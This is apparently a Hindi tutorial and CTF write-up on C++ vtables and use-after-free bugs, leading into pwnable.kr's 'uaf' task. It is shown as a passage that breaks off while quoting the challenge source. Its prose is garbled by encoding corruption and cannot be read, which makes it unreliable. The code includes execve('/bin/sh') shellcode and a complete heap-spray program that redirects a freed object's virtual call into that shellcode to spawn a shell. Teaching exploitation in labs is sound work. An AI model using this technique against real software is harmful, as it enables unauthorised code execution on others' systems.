рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рдЗрд╕ рдмрд╛рдд рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗ рдХрд┐ UAF рдХреНрдпрд╛ рд╣реИ рдФрд░ рд╕рд╛рдЗрдЯ
pwnable.kr рд╕реЗ 16 рд╡реЗрдВ рдХрд╛рд░реНрдп рдХреЛ рднреА рд╣рд▓ рдХрд░реЗрдВред
рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реАрд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕реВрдЪрдирд╛ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХрд┐рд╕реА рднреА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдирдпрд╛ рд╕реАрдЦрдирд╛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦреВрдВрдЧрд╛ рдФрд░ рдмрд╛рдд рдХрд░реВрдВрдЧрд╛:
- PWN;
- рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА (рдХреНрд░рд┐рдкреНрдЯреЛ);
- рдиреЗрдЯрд╡рд░реНрдХ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ (рдиреЗрдЯрд╡рд░реНрдХ);
- рд░рд┐рд╡рд░реНрд╕ (рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ);
- рд╕реНрдЯреЗрдЧреНрдиреЛрдЧреНрд░рд╛рдлрд╝реА (рд╕реНрдЯреЗрдЧреНрдиреЛ);
- WEB рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдФрд░ рдЙрдирдХрд╛ рджреЛрд╣рдиред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдлреЛрд░реЗрдВрд╕рд┐рдХ, рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣рдорд▓реЗ, рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдФрд░ рдХрд╛рд░рдирд╛рдореЗ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рд╛рдЭрд╛ рдХрд░реВрдВрдЧрд╛ред
рддрд╛рдХрд┐ рдЖрдк рдирдП рд▓реЗрдЦ, рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд╛рд░реЗ
рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ, рдореИрдВрдиреЗ
рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдореЗрдВ рдПрдХ
рдЪреИрдирд▓ рдмрдирд╛рдпрд╛ рдФрд░ рдЖрдИрд╕реАрдбреА рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ
рдХрд┐рд╕реА рднреА рдореБрджреНрджреЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ
рд╕рдореВрд╣ рдмрдирд╛рдпрд╛ред рд╕рд╛рде рд╣реА, рдореИрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЕрдиреБрд░реЛрдзреЛрдВ, рдкреНрд░рд╢реНрдиреЛрдВ, рд╕реБрдЭрд╛рд╡реЛрдВ рдФрд░ рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ рдкрд░
рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рд╡рд┐рдЪрд╛рд░
рдХрд░реВрдВрдЧрд╛ рдФрд░ рд╕рднреА рдХрд╛ рдЬрд╡рд╛рдм рджреВрдВрдЧрд╛ ред
рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд▓реЗрдЦрдХ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рдЬреНрдЮрд╛рди рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдХрд┐рд╕реА рдХреЛ рд╣реБрдП рдиреБрдХрд╕рд╛рди рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рдирд╣реАрдВ рдЙрдард╛рддрд╛ рд╣реИред
рд╡рд┐рд░рд╛рд╕рдд рдФрд░ рдЖрднрд╛рд╕реА рддрд░реАрдХреЗ
рд╡рд░реНрдЪреБрдЕрд▓ рдлрд╝рдВрдХреНрд╢рди - рдСрдмреНрдЬреЗрдХреНрдЯ-рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдореЗрдВ, рдПрдХ рдХреНрд▓рд╛рд╕ рдлрд╝рдВрдХреНрд╢рди рдЬрд┐рд╕реЗ рдЙрддреНрддрд░рд╛рдзрд┐рдХрд╛рд░реА рдХрдХреНрд╖рд╛рдУрдВ рдореЗрдВ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рдХреЛ рд╡рд░реНрдЪреБрдЕрд▓ рддрд░реАрдХреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрд╕рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рдЯреАрдХ рдкреНрд░рдХрд╛рд░ рдХреЛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ: рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдХрд┐ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреНрд▓рд╛рд╕ рдХрд╛ рд╣реИ рдпрд╛ рдХреНрд▓рд╛рд╕ рдХреЗ рд╡рдВрд╢рдЬ рдХрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╡рд┐рдзрд┐ рдШреЛрд╖рд┐рдд рдХреА рдЧрдИ рд╣реИред
рд╕реАрдзреЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ рдХрд╣реЗрдВ, рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдмреЗрд╕ рдХреНрд▓рд╛рд╕ рдПрдирд┐рдорд▓ рдбрд┐рдлрд╛рдЗрди рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╡рд░реНрдЪреБрдЕрд▓ рдлрдВрдХреНрд╢рди рд╕реНрд░реАрдХ рд╣реИред рддреЛ рдПрдирд┐рдорд▓ рдХреНрд▓рд╛рд╕ рдореЗрдВ рджреЛ рдЪрд╛рдЗрд▓реНрдб рдХреНрд▓рд╛рд╕ рдХреИрдЯ рдФрд░ рдбреЙрдЧ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд░реНрдЪреБрдЕрд▓ рдлрдВрдХреНрд╢рди рдХреИрдЯ: рд╕реНрд░реАрдХ () рдореНрдпрд╛рдК рдХрд╛ рдЙрддреНрдкрд╛рджрди рдХрд░реЗрдЧрд╛, рдФрд░ рдбреЙрдЧ: рд╕реНрд░реАрдХ рдЧрд╡ рдХрд╛ рдЙрддреНрдкрд╛рджрди рдХрд░реЗрдЧрд╛ред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдПрдХ рд╣реА рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреИрд╕реЗ рд╕рдордЭрддрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕ рд╕рд╛рдзрдХ рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП?
рд╕рднреА рдХрд╛рд░реНрдп рд╡рд░реНрдЪреБрдЕрд▓ рд╡рд┐рдзрд┐рдпреЛрдВ (рдЯреАрд╡реАрдПрдо) рдХреА рддрд╛рд▓рд┐рдХрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдпрд╛, рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░реНрдп рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдкреНрд░рддреНрдпреЗрдХ рд╡рд░реНрдЧ рдХрд╛ рдЕрдкрдирд╛ TVM рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХрдВрдкрд╛рдЗрд▓рд░ рдЗрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдкрд╣рд▓реЗ рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрдиреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдЯреЗрдмрд▓ рдкреЙрдЗрдВрдЯрд░ (vptr - рдкреЙрдЗрдВрдЯрд░ рдЯреВ рд╡реАрдЯреЗрдмрд▓) рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИред рдЖрдЗрдП рдЗрд╕реЗ рджреЗрдЦреЗрдВред
#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; }
рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдФрд░ рдЪрд▓рд╛рдПрдВред
g++ ex.c -o ex.bin

рдЕрдм рдЖрдИрдбреАрдП рдореЗрдВ рдбреАрдмрдЧрд░ рдХреЗ рдиреАрдЪреЗ рдЪрд▓рд╛рдПрдВ рдФрд░ рдкрд╣рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд░реЛрдХреЗрдВред рд╣реЗрдХреНрд╕-рд╡реНрдпреВ рд╡рд┐рдВрдбреЛ рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЗрд╕реЗ RAX рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд╕рд╛рде рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝ рдХрд░реЗрдВред

рдЪрдпрдирд┐рдд рдЦрдВрдб рдореЗрдВ, рд╣рдо ANIMALS рдФрд░ CAT рдкреНрд░рдХрд╛рд░ рдХреЗ рдЪрд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╕рдордп рдЪрд░ var1 рдХрд╛ рдорд╛рди рджреЗрдЦрддреЗ рд╣реИрдВред рджреЛрдиреЛрдВ рдЪрд░ рдХреЗ рд╕рд╛рдордиреЗ рдкрддреЗ рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдХрд╣рд╛, рдпреЗ рд╡реАрдПрдордЯреА (0x559f9898fd90 рдФрд░ 0x559f9898fd70) рдХреЗ рд╕рдВрдХреЗрдд рд╣реИрдВред
рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ рдЬрдм func1 рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ:
- рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, RAX рдореЗрдВ, рд╣рдореЗрдВ ptr рдкреЙрдЗрдВрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдПрдХ рдкрддрд╛ рд╣реЛрдЧрд╛ред
- рдЖрдЧреЗ RAX рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдкрд╣рд▓рд╛ рдорд╛рди рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ - VMT рдХреЛ рдкреЙрдЗрдВрдЯрд░ (рдЗрд╕рдХреЗ рдкрд╣рд▓реЗ рддрддреНрд╡ рдХреЛ)ред
- RAX рдореЗрдВ, VMT рд╕реЗ рдкрд╣рд▓рд╛ рдорд╛рди рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ - рдЙрд╕реА рд╡рд░реНрдЪреБрдЕрд▓ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реВрдЪрдХред
- RDX рдореЗрдВ, рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреЗрддрдХ рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЕрдзрд┐рдХ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдпрд╣)ред
- рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдердб рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЬрдм func2 рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╣реА рдмрд╛рдд рд╣реЛрддреА рд╣реИ, рдПрдХ рдЕрдкрд╡рд╛рдж рдХреЗ рд╕рд╛рде, рдкрд╣рд▓рд╛ рд░рд┐рдХреЙрд░реНрдб (RAX) рдирд╣реАрдВ, рд▓реЗрдХрд┐рди рджреВрд╕рд░рд╛ (RAX + 8) VMT рд╕реЗ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╡рд░реНрдЪреБрдЕрд▓ рддрд░реАрдХреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрдВрддреНрд░ рд╣реИред

UAF
рдвреЗрд░ рдХреЗ рд▓рд┐рдП рдпрд╣ рднреЗрджреНрдпрддрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╕реНрдЯреИрдХ рдХреЛ рдПрдХ рдЫреЛрдЯреА рд░рд╛рд╢рд┐ (рд╕реНрдерд╛рдиреАрдп рдЪрд░) рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдвреЗрд░, рдЧрддрд┐рд╢реАрд▓ рд╕реНрдореГрддрд┐ рд╣реЛрдиреЗ рдХреЗ рдирд╛рддреЗ, рдмрдбрд╝реА рдорд╛рддреНрд░рд╛ рдореЗрдВ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХрджрдо рд╕рд╣реА рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореЗрдореЛрд░реА рдХрд╛ рдЖрд╡рдВрдЯрди рдФрд░ рд░рд┐рд▓реАрдЬ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЗрд╕ рд╡рдЬрд╣ рд╕реЗ, рдпрд╣ рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдХреМрди рд╕реА рдореЗрдореЛрд░реА рдкрд░ рдХрдмреНрдЬрд╛ рд╣реИ рдФрд░ рдХреМрди рд╕рд╛ рдирд╣реАрдВ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЖрд╡рдВрдЯрд┐рдд рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд┐рд╕ рд╣реЗрдбрд░ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдореЗрдВ рдмреНрд▓реЙрдХ рдХреЗ рдкрд╣рд▓реЗ рддрддреНрд╡ рдХреЗ рд▓рд┐рдП рд╕реНрдЯрд╛рд░реНрдЯ рдПрдбреНрд░реЗрд╕ рдФрд░ рдПрдХ рдкреЙрдЗрдВрдЯрд░ рд╣реЛрддрд╛ рд╣реИред рдФрд░ рдвреЗрд░ рдХреЗ рд╡рд┐рдкрд░реАрдд, рдвреЗрд░ рдХреЗ рдиреАрдЪреЗ, рдмрдврд╝рддрд╛ рд╣реИред
рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╕рд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рд╕реНрдореГрддрд┐ рдХреЛ рдореБрдХреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдХрд╛рд░реНрдпрдХреНрд░рдо рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рддреЛ рд╣реИрдВрдЧрд┐рдВрдЧ рдкреЙрдЗрдВрдЯ рд╣реИрдВред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛрдб рдмрджрд▓реЗрдВ рдФрд░ рдЗрд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВред
int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; }

рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╣рд╛рдВ рдХреНрд░реИрд╢ рд╣реЛрддрд╛ рд╣реИред рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рдЕрдиреБрд░реВрдк, рдореИрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд░реЛрдХ рджреЗрддрд╛ рд╣реВрдВ рдФрд░ рд╣реЗрдХреНрд╕-рд╡реНрдпреВ рдХреЛ RAX рдХреЗ рд╕рд╛рде рд╕рд┐рдВрдХ рдХрд░рддрд╛ рд╣реВрдВред рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдорд╛рд░реА рд╡рд╕реНрддреБ рдХрд┐рд╕ рдкрд░ рд╕реНрдерд┐рдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рд▓реЗрдХрд┐рди рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп, 0 RAX рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд░рд╣рддрд╛ рд╣реИред рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА 0 рдХреЛ рдЯрд╛рд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред


рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпреВрдПрдПрдл рдХреЗ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП, рд╢реЗрд▓рдХреЛрдб рдХреЛ рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣реИрдВрдЧрд┐рдВрдЧ рдкреЙрдЗрдВрдЯрд░ (рд╡реАрдПрдордЯреА рдореЗрдВ) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдЬрд╛рдПрдВред рдпрд╣ рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдвреЗрд░, рдЬрдм рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕реНрдореГрддрд┐ рдХрд╛ рдПрдХ рдмреНрд▓реЙрдХ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рдореБрдХреНрдд рд╣реЛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдЗрд╕ рддрд░рд╣ рд╣рдо рд╡реАрдПрдордЯреА рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, рдЬрд╣рд╛рдВ VMT рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рдкрд╣рд▓реЗ рд╕реНрдерд┐рдд рдерд╛, рдЕрдм рд╢реЗрд▓рдХреЛрдб рдкрддрд╛ рд╕реНрдерд┐рдд рд╣реЛрдЧрд╛ред рд▓реЗрдХрд┐рди рд╣рдо рдЗрд╕ рдмрд╛рдд рдХреА рдЧрд╛рд░рдВрдЯреА рдирд╣реАрдВ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХрдорд╛рддреНрд░ рдЪрдпрдирд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдореЗрдореЛрд░реА рд╕рд┐рд░реНрдл рдХреНрд▓реАрдпрд░ рдХрд┐рдП рдЧрдП рдЬрд╝реЛрди рдХреЗ рд╕рд╛рде рдореЗрд▓ рдЦрд╛рдПрдЧреА, рдЗрд╕рд▓рд┐рдП рд╣рдо рдПрдХ рд▓реВрдк рдореЗрдВ рдХрдИ рдРрд╕реА рд╡рд╕реНрддреБрдПрдБ рдмрдирд╛рдПрдВрдЧреЗред
рдЖрдЗрдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦреЗрдВред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╢реЗрд▓рдХреЛрдб рд▓реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП,
рдпрд╣рд╛рдВ рд╕реЗ ред
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
рдФрд░ рд╣рдорд╛рд░реЗ рдХреЛрдб рдХреЗ рдкреВрд░рдХ:
#include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; }
рд╕рдВрдХрд▓рди рдФрд░ рдЪрд▓рд╛рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдореЗрдВ рдПрдХ рдкреВрд░реНрдг рд╢реЗрд▓ рдорд┐рд▓рддрд╛ рд╣реИред

рдЙрдл рдиреМрдХрд░реА рд╕рдорд╛рдзрд╛рди
рд╣рдо рдпреВрдПрдлрд╝-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рд╣рдореЗрдВ рдмрддрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╣рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рдЕрддрд┐рдерд┐ рдХреЗ рд╕рд╛рде рдПрд╕рдПрд╕рдПрдЪ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ рдкрд░, рд╣рдо рд╕рдВрдмрдВрдзрд┐рдд рдмреИрдирд░ рджреЗрдЦрддреЗ рд╣реИрдВред

рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдкрд░ рдХреМрди рд╕реА рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ, рд╕рд╛рде рд╣реА рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреНрдпрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВред

рд╕реНрд░реЛрдд рдХреЛрдб рджреЗрдЦрддреЗ рд╣реИрдВ #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* 